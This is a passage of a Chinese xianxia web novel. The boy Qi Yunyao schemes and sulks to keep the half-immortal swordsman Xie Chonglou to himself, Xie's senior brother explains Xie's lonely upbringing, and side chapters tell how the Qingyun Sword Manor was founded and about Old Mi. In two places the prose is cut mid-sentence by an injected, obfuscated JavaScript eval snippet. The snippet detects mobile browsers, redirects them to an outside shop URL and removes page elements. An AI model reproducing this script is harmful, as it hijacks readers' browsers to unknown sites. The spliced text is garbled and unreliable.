没成想这一动,小胖子竟迷迷糊糊醒了,睁眼就看见身侧的人影,顿时警铃大作,伸手死死抱住谢重楼的手臂,带着股咄咄逼人的劲儿质问: “你今天早上去干什么了!” “去练剑了。”谢重楼被他贴得近,浑身都有些不自在。 “练完剑呢?”祁云耀步步紧逼,眼睛瞪得圆溜溜的,一副要追究到底的模样。 “祁夫人叫我去吃早餐,之后你妹妹叫我陪她玩,你大哥让我陪他练剑。”谢重楼老老实实回答。 “你为什么要陪他们,不来陪我啊!”祁云耀瞬间炸毛,整个人都往他身上挤了挤,语气又急又委屈,“你到西门来,本就是因为打了我,要照顾我的!所以你该天天陪着我,不是陪着大哥和小妹!你是要跟我在一起的!” 谢重楼似是生锈偃甲般卡了壳,他愣了愣,侧头看着人气鼓鼓的脸,认真想了想。竟然真觉得这话句句在理,当即郑重地点了点头,认认真真应道:“嗯,以后我陪着你。” 这话正好戳在祁云耀的心坎上,小胖子眼睛一亮,瞬间心花怒放,脸上的怒色一扫而空,下巴都快翘到天上去,洋洋得意道:“这就对啦!你以后就只能跟着我,别去管他们!” “嗯。”谢重楼闷闷应了一声,手臂被他抱得紧实,温热的触感贴着衣袖,竟也没再推开。 两人之间静了下来,祁云耀美滋滋地闭上眼,呼吸渐渐放缓,正要沉入梦乡。 身边却忽然传来谢重楼轻轻的声音,带着几分认真,又有点茫然:“你这辈子是不是太短了——” “所以你要珍惜我啊!”祁云耀想都不想就接话,语气里带着点小得意,还有点故意撒娇的威胁,“你是仙人,我是凡人,要是你把我惹生气了,我可是会哭着去跳悬崖的——” “这辈子真的好短。” 谢重楼又重复了一遍,声音轻轻的,像是在感慨,又像是在琢磨。 “对啊,所以你可要好好珍惜我!”祁云耀撅了撅嘴,心里甜滋滋的,只当他是舍不得自己,尾巴都快翘起来了。 他转头看向谢重楼,撞进对方一双呆呆的、干干净净的眼眸里,心里更是得意得不行。正准备再说些什么,却忽然见自己身上盖着的被子被轻轻掀了起来。 祁云耀一愣,还没反应过来,就看见谢重楼抬起他那双长腿—— 这床被子祁云耀盖着刚好,如果是谢重楼的话只能堪堪遮住小腿。 他伸手指了指自己露在外面的脚,一脸认真又不解地看着他:“我的脚在外面很冷。我想去搬一床长一点的被子。” 祁云耀:“……” 刚才那点满心欢喜、暧昧缱绻,瞬间像被人当头浇了一盆水,从头凉到脚。 他一言不发,猛地一把扯过被子,把自己从头到脚蒙得严严实实,只闷闷地从被子里挤出一声大发慈悲的“嗯”。 谢重楼得了应允,便欢快下床去隔壁抱来了自己的棉被。 两床被子叠在一起,足够长、足够暖,把两人都裹得严严实实,再也不会露脚。 终于安安稳稳,两人并肩躺下,一夜无话。 第二日天刚蒙蒙亮,祁云耀一睁眼,就发觉身边空荡荡的,被褥早已冰凉。 他心里蓦地一紧,连伤处骤然传来的刺痛都顾不上了,慌慌张张披上外衣,把被反复叮嘱的“七日内尽量不要下床”抛到九霄云外,一瘸一拐就往外冲。 一路抓着人问,跌跌撞撞,终于寻到了演武场。 晨光熹微,薄雾还未散尽。 谢重楼一身素衣,手持木剑,身姿清瘦却挺拔,一招一式舒展如流云,剑风轻响,干净利落。 祁云耀顿在角落的廊柱后,扒着柱子偷偷看,心里那点被丢下的不快,正一点点慢慢消散。 可下一秒,一道娇俏的身影蹦蹦跳跳闯了进来,打破了这片安静。 是祁灵昭。 她不知为什么也起了大早,小手拢在嘴边,脆生生地喊:“重楼哥哥好厉害!” 谢重楼的剑招明显乱了一瞬,耳根飞快泛起薄红。一套剑法草草收势,他握着木剑,转身就想先离开。 祁灵昭却快步追上去,小手从荷包里摸出个东西,献宝似的举到他面前,眼睛弯成月牙:“重楼哥哥,送给你的!” 那是一只竹编的小鱼,篾条编得精巧,尾巴微微上翘,看着格外灵动可爱。 谢重楼的目光落在竹鱼上,却没有伸手去接。 他其实早就察觉到了另一道气息,一直藏在廊柱后,憋闷又紧绷。 眼角余光轻轻一扫,正好对上祁云耀那双瞪得滚圆、满是怨怼和委屈的眸子。 谢重楼心头猛地一跳,几乎是下意识地拒绝:“不用。” 可祁灵昭哪里肯听,笑嘻嘻地攥过他的手,硬是把竹鱼往他掌心一塞,脸颊红红的,带着十足的欢喜:“我喜欢你才送给你的,你拿着嘛!” 话音一落,她害羞似的转身,蹦蹦跳跳地跑远了。 演武场边,谢重楼站在原地,手足无措地攥着那只烫手的竹鱼。 而廊柱后,祁云耀死死咬着嘴唇,胸口像是被一块巨石堵住,闷得喘不过气,满心委屈。 明明昨夜才说得好好的,明明谢重楼认认真真应了他,以后只陪着他,不去管别其他人。 可这才过了一个晚上,就全都不算数了。 他难只觉得委屈,也不愿等谢重楼发现自己。 祁云耀咬着牙,拖着“半身不遂”的身子,转身就往寝室的方向挪,每一步都又沉又重。 他一言不发地回到房间,把门一关,将自己闷在床榻上,连头都不肯抬,眼泪悄悄地流。 自那天以后,两人之间像是隔了一层薄薄的雾,看不见摸不着,却实实在在地挡在中间。 谢重楼似乎并未察觉这层隔阂,或许是察觉了却不知如何处理,只是沉默地履行着“陪伴”的职责。祁云耀不理谢重楼,却仍旧要他跟着。 这日,他终于忍受不了令人窒息的沉默,坐在床上,看着正为他收拾床铺的谢重楼。忽然开口,打破了屋里的安静。 他问:“你是喜欢灵昭吗?” 闻言,谢重楼正替他掖被角的手一顿,整个人愣在床边,显然没料到他会问出这样的问题。 他垂着眸,眼神直勾勾的,隐隐约约又有了要涣散的样子,半晌都没给出一个答案。 祁云耀的心却莫名揪紧了,像被一只无形的手攥着,酸酸涩涩的。 他其实想问的根本不是这个,他想问的是你喜欢我吗?为什么又不和我待在一起了呢?可他没那个胆子,怕得到干脆的拒绝,便拐了个弯问了灵昭。 可话出口后,他又更怕得到肯定的答案,怕谢重楼点头说喜欢想赶紧找补几句,把话说清楚,问他:你喜欢和灵昭一起玩吗?或者……你喜欢和大哥比试剑法吗? 正当他张着嘴,想打破这令人窒息的沉默时,谢重楼却抬了头,眼中满是纯粹的茫然。 他看着祁云耀,认认真真地,一字一句地问: “喜欢是什么意思?” “什么?”祁云耀像是没听清他的话,愣生生重复问了一遍。 “我问‘喜欢’是什么意思?”谢重楼耐着性子又说一遍,手上替他掖被角的动作继续,将被边细细塞好,随后便在床边坐下,语气里带着真切的困惑,“我不知道这个词是什么意思,师兄还没教过我,剑庄里也没人和我说过,我不懂。” 祁云耀定定盯着他,眼神呆滞,心里头第一次生出一种陌生的疏离感——恍然间才记起,眼前这人是青云剑庄的半仙,是一剑就能撂倒大哥、以一敌百的谢重楼,他不是和自己一样的凡人,没听过那些缠缠绵绵的心思。 那点揪紧的酸涩、憋闷的不快,忽然像被一阵风吹散了。 他心里生出一种说不清道不明的庆幸:还好,还好这个人不懂。还好,他都懵懂,只属于自己一个人看见。 那么,我就是第一个教他什么是喜欢的人! 我是独一无二的! 这点小得意几乎要溢出来,他清了清嗓子,故作高深地胡侃乱诌:“哎呀,这个可复杂了!就像你喜欢练剑,大哥喜欢打架!总之就是一种感觉!我问你喜不喜欢灵昭,就是问你愿不愿意跟她玩!你跟她玩觉得开心,就是喜欢她!” 谢重楼若有所思地颔首,像是真的懂了。 “那你喜欢我吗?”祁云耀趁势追问。 谢重楼看着他,认真比对自己心里的感受,过了许久,才郑重地点头:“喜欢的。” 祁云耀的小嘴瞬间翘到了天上去。 这份由他亲手定义并得到的“喜欢”,让他那颗小小的独占之心得到了巨大的满足。 单方面的冷战似乎就这么结束了。为了守护这份“独一无二”,他必须行动起来,扫清所有障碍! 第一个目标,自然是祁灵昭。 他算准时间,堵在祁灵昭正要去找谢重楼的路上,十分霸道的说:“你以后不要去找谢重楼了!” 祁灵昭自然不答应,叉腰反驳:“凭什么?” 只见祁云耀从怀里摸出一册话本,下巴一扬,带着几分炫耀:“我把我的珍藏给你!” 祁灵昭的眼睛唰地亮了:“是《霸道仙君爱上我-第三卷》!我就说最后一册肯定被你买走了!” 祁云耀趁热打铁:“只要你别再去找谢重楼,这册话本就送你。以后出了续作,我也第一时间给你弄来,怎么样?” “一言为定!”祁灵昭几乎是立刻把话本死死抱在怀里,宝贝得不行,转身就一溜烟往自己房间跑,生怕祁云耀下一秒就变卦,连去找谢重楼的念头都抛到了九霄云外。 搞定了祁灵昭,下一个就是总缠着谢重楼比武的大哥,祁余天。 他摸清规律,趁着祁余天去演武场晨练的空档,偷偷摸摸溜进了大哥的房间。 祁余天的屋子乱糟糟的,唯独剑架上供奉着他的心肝宝贝——浑天剑。 他心想:把这剑藏起来,大哥肯定忙着找剑,哪还有功夫去缠谢重楼! 想到就做,他费力地够上剑座,刚一搬下来就傻了眼——这剑比他想象的沉了十倍不止。他只能咬着牙,用尽浑身力气,拖着残躯去把这剑往床底挪。 木地板被划出一道长长的白痕,他又手忙脚乱地找东西遮掩。 一走,一歇,一砸,一遮掩。 忙活了大半天,费了九牛二虎之力才把剑塞进床底。他拍拍手上的灰,得意地喃喃自语:“最危险的地方就是最安全的地方。” 可刚一转头,就对上了一双冷冰冰的眼睛。 谢重楼不知在门口站了多久,目光一瞬不瞬地落在他身上,把他刚才的一举一动,都看了个正着。 “你在做什么?” 谢重楼的声音冷不丁响起,砸在祁云耀背上。他僵着身子转头,对上那双沉沉的眸子,对方目光掠过呆住的他,又扫向床底露出的半截剑鞘,继续追问:“你把那柄剑放在床底做什么?” 祁云耀的心瞬间提到嗓子眼,脑子里只有一个念头——跑!再晚大哥回来就完了! 他胡乱摆手,扯着谎胡咧:“在和我大哥开玩笑呢!哎呀快走快走,免得一会被他发现了!” 说着,他伸手就去拽谢重楼的胳膊,想拖着人赶紧溜。 可谢重楼像跟木头似的杵在那。 他垂着眼,眉头微蹙,像是在认真琢磨这话的真假,片刻后,语气笃定:“我觉得不是。” 祁云耀的心脏扑通扑通狂跳,脑子里嗡嗡作响,生怕下一秒祁余天的大嗓门就会在回廊尽头炸开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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恍惚间,攥着衣袖的手被轻轻掰开,旋即一阵天旋地转,整个人不受控地倒下去。可身下并不是冰凉凉的地板,取而代之的是一具坚实的躯体。紧接着,一只带着微凉温度的手掌轻轻罩住了他的口鼻。 若即若离的声音在耳边响起,像是羽毛扫过耳朵,激得他一哆嗦: “别害怕,别害怕。” 另一只手稳稳揽着他的腰,掌心贴着他的后背,一下一下,极轻极缓地拍着,安抚着紧绷到极致的神经。 他起初被这突如其来的动作惊得一颤,心里的恐慌更甚,可听见谢重楼那淡淡的声音,紧绷的神经竟奇异地松了几分。 呼吸从急促的喘息慢慢变得轻缓平稳,眼泪也止住了泛滥的势头,不再像断线的珠子似的往下掉。 他缓过神,微微偏头,正好对上近在咫尺的俊脸。 谢重楼背靠着门板,席地而坐,将他完完全全圈在怀里,两人贴得极近。指尖麻木的感觉渐渐褪去,四肢百骸里漫上来一种奇异的软绵绵。 这时,刚才发生的一切全部涌进脑海里—— 自己干的蠢事被这个人看了个正着! 祁云耀顿时羞得脸颊发烫,方才才被压下去的眼泪,竟又不争气地冒了出来,吧嗒吧嗒的往下落,砸在谢重楼的衣襟上洇出水痕。 谢重楼不通读心术,自然搞不懂这小孩怎么刚平复下来,转眼又掉起了眼泪。 他手足无措地收回覆在他脸上的手,改为双手紧紧搂着他,微微侧头,将自己的脸颊贴在他湿漉漉的脸上,声音闷闷的哄劝:“别哭了,别哭了。” 祁云耀一听他这话,顿时来了劲,哭声陡然拔高,隐隐又有了刚才那股要哭晕过去的架势。谢重楼没辙,只能压低声音,带着点无奈的威胁:“你再哭,我就捂你嘴了。” 这话对正在撒脾气的小胖子半点用都没有。 祁云耀尾音一翘,直接扭开头,把脸一头扎进他怀里,严严实实堵死了他要捂嘴的路。 “都……都怪你!”怀里的声音闷闷的,带着浓重的鼻音,断断续续却满是委屈,“要不是你……我……我才不会这么丢脸!” 说完,不知又想起什么委屈事,呜呜咽咽的哭声又断断续续地溢出来。 谢重楼沉默片刻,干脆利落道:“对不起,我错了。” 祁云耀听见这句道歉,心里反倒莫名火大。他狠狠咬了咬牙,强行把哭声憋回去,抬起泪汪汪的眼瞪着人。他吸了吸鼻子,刚要开口就打了个嗝,只能哽咽着控诉:“你……嗝……你其实根本就不喜欢我吧!你……嗝……你是不是觉得,跟大哥比武和陪小妹玩才最开心!” 谢重楼被问得一头雾水,压根不明白他怎么会冒出这种念头,刚想张嘴解释,就被祁云耀猛地打断。 “你宁愿去找那匹马,都不愿意来找我!我都知道的,你没必要解释!” “可是是你先不理我!” 谢重楼终于抓住机会,立刻急急地为自己辩解。 “你……” 祁云耀被这句话刺激得眼泪又哗哗往下掉,眼眶瞬间红得更厉害。他吸着鼻子,带着哭腔骂骂咧咧地怒斥:“你就不能主动来找我吗!我都找你这么多次了,为什么你就不能来找我一次?” 话音落,眼泪又跟断了线的珠子似的砸下来,那架势,像是真要哭晕似的。 谢重楼被他问得哑口无言,只能沉默地抬手,用指腹轻轻擦去他脸上的泪水,声音放软:“你别哭了,我错了。” 祁云耀压根不听,哭得更凶了。谢重楼没别的法子,只能收紧手臂,把人抱得更紧,像是想用这种方式来表达自己的喜欢。 不知哭了多久,祁云耀哭得脑子发晕,眼泪再也流不出一滴。 他皱着眉,整张脸又红又肿,声音沙哑得不成样子。 他把脸埋在谢重楼的胸口,闷闷地说:“你要是真的……跟我待在一起不开心,你就去找大哥和小妹吧。” 谢重楼愣了愣,不明白他怎么突然说这话,几乎是不假思索地开口:“你说你会去跳悬崖的。” “我不跳了。”祁云耀把脸往他胸口蹭了蹭,脸颊挤成一团,声音低低的, “如果你开心的话,我难过也可以的。” 13. 承诺 话一出口,祁云耀就后悔了。 他一点都不想谢重楼去找大哥和小妹,他不准,也绝不允许。可话已出口,覆水难收。他只能徒劳地把脸埋进谢重楼早已被眼泪浸湿的衣襟里,心里一遍遍默念着,盼着他会拒绝。 要是谢重楼说,他不愿意,他就喜欢和自己待在一起,那就好了。 时间在令人心慌的静默里流逝。 就在祁云耀快被自己的懊恼淹没时,他感觉到抱着自己的手臂,轻轻的,却又带着不容置疑的力道,再次收紧了一点。 只是这样一个细微的动作,祁云耀却觉得鼻子猛地一酸,明明已经哭干的眼眶,又瞬间涌上热意。 “我……”谢重楼轻轻开口,声音沙哑,刚吐出一个字,却猛地闭上了嘴,头偏开一点,僵在那里不动了。 祁云耀连忙抬起头,想问他要说什么,话未出口,一阵不疾不徐的脚步声由远及近,稳稳停在了房门外。 旋即,门板被轻轻叩响。 笃,笃,笃。 那几声叩门声像是直接敲在心上,震得两人俱是一僵。 “重楼?你和祁小公子在里面吗?”门外传来温和的声音。 是谢长泽。 谢重楼一听是师兄,顿时慌了神,想也没想就要撑着门板站起来,全然忘了自己身上还挂着个人。祁云耀身子一斜,“咚”的一声结结实实摔在地上。谢重楼心里一紧,急着去扶,可双腿早已麻得没了知觉,身子不受控地一歪,整个人也重重摔了下去。 门外的谢长泽听得里头动静不对,连忙推门进来。 入目的便是自家师弟压在祁小公子身上,两人滚作一团的狼狈景象。 他快步上前,先将歪扭的谢重楼扶起,目光扫过他胸前洇湿的大片水痕,又落在从地上爬起来、眼睛红肿得吓人的祁云耀身上,心下了然。 “重楼,先去把衣裳换掉吧。”谢长泽声音温和地支开了师弟,而后牵起祁云耀的手,拉他坐到桌边。 他从袖中掏出锦帕,沾了温水,动作轻柔地替他擦拭脸上干掉的泪痕。 “是和重楼闹矛盾了么?” 谢长泽的声音很轻,像羽毛扫过。祁云耀被这样温柔地哄着,心里那道强撑着的口子轰然决堤,积攒了许久的委屈汹涌而出。 眼泪又一次哗哗往下掉,他抽抽搭搭,断断续续地往外挤:“谢重楼……他说话不算话!明明说好了……只跟我玩的……” “我、我生气了,不理他,他居然也……也真的不理我!” “大哥找他比武……他就去了……小妹送他东西,他也收了……” “他骗我!我喜欢他……他不喜欢我!我不高兴……他也不高兴……” 他颠三倒四地说着,语无伦次,满是执拗与委屈。谢长泽耐心听着,轻轻拭去他落下的眼泪,柔声安抚:“不哭了,我知道你委屈了。” 祁云耀被他这么一哄,反倒哭得更凶,却猛地想起什么似的,磕磕绊绊地辩解:“我不是……不是说他不好……我只是……只是觉得不高兴……是我自己不高兴……你别说他……” 谢长泽听他这话,心里顿时更软了几分。他将人轻轻搂进怀里,掌心拍着他的后背,柔声道:“我不会说他的。重楼能和你在一起,真好啊。”他顿了顿,声音愈发柔和,像涓涓细流,“但你有没有想过,重楼他,或许根本没发觉你在和他吵架呢?” 祁云耀愣住了。 “也有可能,他发现了,”谢长泽补充道,“但他不知道你为什么生气,更不知道该怎么哄你。” 祁云耀委屈着脸看向他,谢长泽依旧温柔,他问他:“你想更了解重楼吗?” 祁云耀连忙点了点头。 谢长泽似是无奈地叹了口气,那声叹息里裹着说不清的复杂意味,缓缓开口:“重楼,其实是个很喜欢被人抱着的孩子。” “剑庄很大,但也很空。虽然青云剑庄开山立派两百年,但里头开始有人气,也不过才二十年的光景。重楼就是剑庄焕发生机的那个关键。” “当年师傅把他抱回来,才过了三个多月,就寻到了新的乐子,转头就把他丢给了我。米长老要负责招募弟子、打理剑庄上下,忙得脚不沾地,实在分身乏术。而我,那时也才刚被师傅从玉虚仙宗接回来没多久。” 祁云耀听得怔住了,抽噎声不知不觉停了下来。 “重楼小时候,真的特别粘人。”谢长泽眼底漾着怀念,“走几步路就伸着胳膊要人抱,不抱就瘪着嘴哭。吃饭得有人陪着,睡觉更是要攥着人才能睡着。有好几次,我替师傅下山办事,他哭着闹着也要跟,我拗不过,只能背着他一起去……” “可后来,师傅再次云游,剑庄里里外外的事务全落到了我肩上。我实在抽不出多少时间陪他。我以为他会拽着我的衣角撒娇,可他没有。他自己提着剑,默默去练剑,一直练,一直练,不过短短几年,就硬生生突破到了五阶。可我心里,却总觉得亏欠了他太多。” 谢他重重地叹了口气,目光转向祁云耀:“我甚至以为,这些年的孤单会让他怨怼我和师傅的疏忽。但他却干了件让我震惊的事。” “是……是他替你迎战大哥吗?”祁云耀轻声问。 “对。”谢长泽的声音淡了些,可眼底却漾起一丝欣慰的笑意,像个看着自家孩子懂事的大家长,“当时收到你家大哥的战书,我真是愁得好几宿没睡好。我向来不善剑术,可西门浑天’在江湖上是何等声名。迎战的话,我铁定是打不过的;可不应战,又怕丢了师傅‘天下第一’的脸面。那段时间,我既要被剑庄的各方事务搅得头晕眼花,又要为迎战的事寝食难安。” “当时我甚至琢磨出个耍赖的法子——装作压根没收到战书。你家大哥不问,我就绝口不提;他要是问起,我就摆出一副惊讶万分的模样。为了演得逼真,我甚至每晚对着镜子练习,琢磨着怎么把那种惊讶练得炉火纯青,叫人看不出半点破绽。” “直到某天,我发现兰泽剑和那封烫手的战帖都没了踪影。我心里觉得不对劲,赶忙去找米长老,才知道重楼拿了钱,说要下山去玩。我一听就知道完蛋了!当即就动身往西门赶,结果刚到郊外,就亲眼看见他握着我的剑,把你打飞了出去。” 谢长泽静静看着他,继续道:“你和他相处,想必也能发觉,重楼懂的事很少,他和凡间脱节太久了。所以他把你打伤后,我便动了心思——若趁此机会,把重楼留在凡间,会不会是件好事?” “我希望他能借着你,借着西门,重新学会和这个世界相连。从你在李婆婆家,主动牵起他手的那一刻起,我就在想——啊,原来重楼的世界,是 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刚一出门,就看见谢重楼站在不远处的廊下,背对着他,像是在面壁。 谢长泽的脚步刚跨过门槛,谢重楼就猛地转过身来,脸上带着几分无措,期期艾艾地问:“师兄,我还要在这里呆多久?” “是不习惯西门的环境吗?” 谢重楼垂着眼,底气不足地小声应:“习惯的。” “那是不喜欢这里的人?” 谢长泽话音刚落,见人僵着不吭声,恍然到他大抵还不懂这话里的深层意思。刚张开嘴想解释,却听见谢重楼抬声答道:“没有不喜欢。” 谢重楼缓缓抬起脸,素来僵着的脸上难得漾开一丝丝欣喜,还带着一点不易察觉的骄傲:“他跟我说了,什么是‘喜欢’。” 谢长泽眼底笑意更盛,忍笑追问:“既然喜欢,为什么还想着回去?” 谢重楼不答,又飞快低下头,嘴唇抿成一条直线,眼睛左右乱瞟,一副藏着心事的模样。忽然,他的目光猛地定住,维持着微微侧头,偷摸往谢长泽身后瞟的姿势,一动不动。 谢长泽顺着他的目光回头,只见房门后,门缝里露着一只黑黢黢、亮晶晶的眼睛,正偷偷往外瞄。 那只眼睛撞上目光,顿时慌乱一闪,彻底没了痕迹。 谢长泽看着他,语气带着几分打趣:“你的好朋友还在里头等你呢,要丢下他跟我回剑庄?” 谢重楼猛地抬头,眼里满是诧异,带着不确定:“我们……是好朋友?” “不是吗?”谢长泽弯了弯眼。 谢重楼又低下头,片刻后,再次抬脸,语气格外认真,像是敲定了什么重要的事:“那我先不回去了。” “嗯,”谢长泽目光温柔,“等你玩累了,想回去了,师兄再来接你。” 谢重楼的嘴角难得牵起一抹浅淡的弧度,藏着真切的雀跃。他飞快道:“我要去找我的‘好朋友’了,师兄再见!” 话音落,便迈着轻快的脚步,一头钻进了祁云耀的房间。屋里随即传来细碎的窸窣声,混着少年间隐约的低语。 谢长泽望着那扇关上的门,眼底漾着欣慰的笑意。最后心情畅快地转身,步履轻快地再次离开了西门。 14. 番外——青云剑庄(一) 作话:因为我修了修文,从十二章到第六章都是全新的章节。原先的章节进行了压缩重写,合并成两章,补了三个小番外。没看过的宝宝们可以不必管正常看就可,已经看过的宝宝们可以去看看番外。 人名事件不是很熟悉的指路第二章捏。 由于会涉及剧透,暂时挑了三个绝对不涉及剧透的小番外丢了出来嘿嘿嘿。 本章水掉的字数补在作话了,宝宝们别关作话捏~~~ 众所不周知,青云剑庄是个草台班子。 谢青自血月之战一剑成名后,便被天盟地宗联手裹挟,要为她建个宗门,当作是调和双方矛盾的筹码。 毕竟两方打了数千年,仙者腻了,凡人也倦了,只要有样东西能稳住平衡、维系和平,无论那东西是人,还是个空壳子,他们都情愿把这表面功夫做足。 而青云剑庄起初本不叫这个名字,天盟原本想直接定名“仙盟”,说既大气又好听,可提议刚出就遭了地宗反对。 “仙盟”是万载前的说法,那时还无半仙,所谓的“仙”,泛指所有修仙者,而修仙者中又包含凡人、妖族、灵族,所以这般称呼自然无妨。 但如今有了半仙,“仙”字便被这群人独揽,凡俗修士则全被归到了江湖之列,唯有“血脉高贵”的半仙,才配得上一个“仙”字。 如此一来,用“仙盟”作名,自然是不妥的。 两方为此又争执了数十次,险些再动干戈,最后还是谢青提议,不如选个地方当面共同商议。 谁料这一回,众人倒不提宗门定名的事了,反倒为了商议的地点吵翻了天。 眼看两方又要打起来,谢青大手一挥直接拍板,索性将商议的地方定在了自己家! 谢青的住处在青云山主峰山巅。 那是个不大的小院,她把屋里的桌椅板凳尽数搬了出去,又从山下村镇借了十几条板凳,才堪堪围出一个圆阵。 当然啦,桌子就是她平日里用的那方四角小桌——毕竟重点本就不在桌,只要凳子围得够圆就好啦! 她将院里诸事置办妥帖,便拟了请帖往各派送去,可轮到天机阁时,却犯了难。 彼时天机阁正群龙无首,送请帖竟不知该递与何人?即便认识几位阁中弟子,也难保这几人能通知到散落在四海八荒的天机阁众人。 为此,她愁得连日辗转难眠。 初任掌门的风幕卿带着弟子早早赶来相助,一进院门,便被院里那长短不一、摆得略显狂放的板凳惊在原地,脚下生根。 他看谢青正为通知天机阁的事愁眉不展,便悄悄吩咐手下弟子,将院里这堆粗陋长凳尽数送回山下村镇,又加急联系了离青云山最近的天机阁驻地,让他们赶制了十几套齐整桌椅送上山来。 待风幕卿看着满院摆得规规矩矩的桌椅,心中刚松了口气,冷不丁就迎上谢青的灵魂质问:“你弄这么多桌椅来,难不成等你们走了,一人搬一套回去当伴手礼嘛?还有——我的小桌小凳呢!赶紧给我搬回来啊!!!” 风幕卿无奈,只得再遣人下山,去寻谢青原先的那套桌椅。 两人琢磨了半天,也没敲定该怎么把天机阁那群不着调的人喊来议事。 就在这卡壳的关头,灵枢牵着花秽芳过来,宛若神兵天降,救了这两位新官上任正愁得没辙的人。 花秽芳听完二人的难处,当即对症下药,出了个主意:“天机阁爱凑热闹,制造一个大热闹不就都来了么?” 四人当下凑在一起,细细合计了一番。 次日,一则炸裂消息便从青云山呈辐射状传开—— 谢青要与风幕卿、灵枢,还有花秽芳在三日后成婚! 压根不消三日,消息传出的第二天,青云山下就迎来了独属于天机阁的络绎不绝人山人海。 四人下山和这群来看热闹的天机阁弟子商议,最终在天机阁弟子们满是“被欺骗”的无情控诉里,定了东海肖家作为天机阁的总部。 随后便是召集天盟地宗的其余门派齐聚青云山商议,不过商讨全程都是六派的激情对喷: 玉虚仙宗和药王谷吵得最凶,互不相让; 西门掌门当众向禅宗宣战,最后差点被禅宗修士原地度化,放下重剑立地成佛; 天机阁的人全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177153|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程热衷向其他五派推销各式机关,最后被玉虚仙宗的雄厚财力折服,转头就被药王谷怒斥是半仙的走狗; 还有刚遭血洗、改了门名的凌云阁。其掌门兴致勃勃,一个劲向五派炫耀自己喜得贵女,还挨个儿打听各派天骄,要给未满月的小女儿“选妃”,甚至擅自为女儿定下了十八门亲事,就等女儿长大,把这十八位贵子贵女都迎进门。 鸡飞狗跳的闹剧闹了整整一天,谢青终于忍无可忍—— 她既听腻了风幕卿和灵枢之间的互相阴阳怪气,也不想再接西门现任掌门的战帖,更受够了禅宗修士没完没了的念经,还有凌云阁掌门第一百零八次在她面前炫耀爱女。 猛地一拍桌,直接将那方桌震成了齑粉,在满是心疼里高声宣布,要效仿西门的定名方式,这宗门就叫青云剑庄。 天盟地宗的六派众人听罢,无一人有异议。 紧接着便是剑庄选址,眼看六派又隐隐有争辩的苗头,谢青依旧大手一挥,直接定了青云山这处,直言把她的小木屋推了便是。 选址定了,新的问题又来:怎么修?谁来修?谁出钱修? 原本玉虚仙宗财大气粗,打算一手包揽所有开销,却被药王谷当场叫停;可药王谷一群医师本就穷得叮当响,当即转头看向西门,西门整日打打杀杀,还欠着一屁股债,自然拿不出钱来。 这般一来,地宗这两个“穷鬼门派”便把目光锁向了他们眼中“最富裕”的天机阁。 天机阁生平就两大爱好:敛钱和看八卦。被众人逼着出钱,当即委屈得宛若被恶霸调戏的小公子,只差一头撞死以表宁死不屈。 最后还是谢青一锤定音:修筑剑庄的费用由六派平均分摊,天机阁既然说出钱如要命,那便免了其出资,改由他们出力修筑。 没过多久,气派恢宏的青云剑庄便落成了。 可谢青却没留在剑庄,依旧在山下过着她的逍遥日子。 直到某天,她想寻昔日的旧友玩乐,才猛然惊觉仙凡殊途——那些凡人朋友,大多已然衰老离世,熟悉的门派却早已换了一批新的面孔。 恰逢此时,她在大泽边 15. 番外——青云剑庄(二) 米老头就叫米老头,没人知道他的真名,他自己也从不说,只道姓米,名字保密。 街上的铺子起初都不愿雇他做工,一来嫌他年迈,二来总怕他哪天突然没了气,平白惹上麻烦。唯有几家心善的,肯收他做活,让他能赚些钱糊口。 谁都没料到,这老头看着老态龙钟,干起活来却手脚麻利。往日和其他伙计一同采买,眼神竟比年轻小伙还要亮,总能挑出些物美价廉的好东西。 曾在沿海做生意的李老板,因老娘病重想落叶归根,便搬回西南老家重开了铺子。新店刚开张,因摸不透本地的门道,生意十分冷清。 李老板不由叹道,要是米老头还在就好了,只是这么多年过去,想来老人家怕是早已不在人世。 他媳妇也跟着感慨,说那老头虽看着皱巴巴的,却是个难得的长情之人。当年他老伴走后,整个人便一蹶不振,索性辞了活,说要送老伴归根。 李老板听着,心里也犯嘀咕,当时该派个伙计跟着他才是,万一他忧伤过度,在路上出了什么意外—— 夫妻俩想到这儿,只剩满心后悔。 而夫妻俩看不见的街角,一个干巴巴的老头提着油纸包的点心,轻手轻脚绕开沿街铺子,特意拐了远路往家走。 家中,他的妻子正坐在织布机前,眼睛已昏花得看不清东西,全凭数十年的熟稔手感,磕磕绊绊地摆弄着梭子。隐约听见归声,她便笑着扬声招呼:“老米啊!今天怎么回来得这么早?” 米老头笑得满脸褶皱挤作一团,快步上前,将温热软和的点心递到她手边。 老伴却没急着拆包,只伸手牵住他的手,轻声道:“我估摸着,我也就这几天的光景了。有些话想跟你说,再不讲,怕是就没机会了。” 米老头轻轻拍着她的手背,清明的眼眸望着她,温声笑劝:“别乱说,哪有那种事,可别咒自己。” 老伴只笑,没接这话,自顾自说着:“我得谢谢你救了我,当年若不是你,我早没了。虽说做了你的妻子,可我总觉得对不住你——嫁给你的时候,我都六十岁了。我虽老啦,却也能感觉得出来,这么多年,你从来都没变过。” 她顿了顿,喘了口气又道:“我也不问你为什么不会老,许是仙人吧,哈哈。其实我真羡慕你,能长生不老。若是我也能不老就好了,这样咱们两个老头子老太婆,就能一直陪着彼此了。” “可惜我不是,我终究是会老的。若是我走了,你不必为我难过太久,早点开始新的日子就好。谢谢你陪我这十几年,我过得很开心……” 这些话,米老头听得心头翻涌,即使相似的话不是第一次听,心里动容却半分未减。 他攥紧了妻子的手,难掩难过,妻子反倒反握住他,一下下拍着他的手背,轻声哄着,让他别太过挂念。 不知是天意使然,还是命数已定。 次日清晨,米老头醒来,身旁的人已然没了气息。 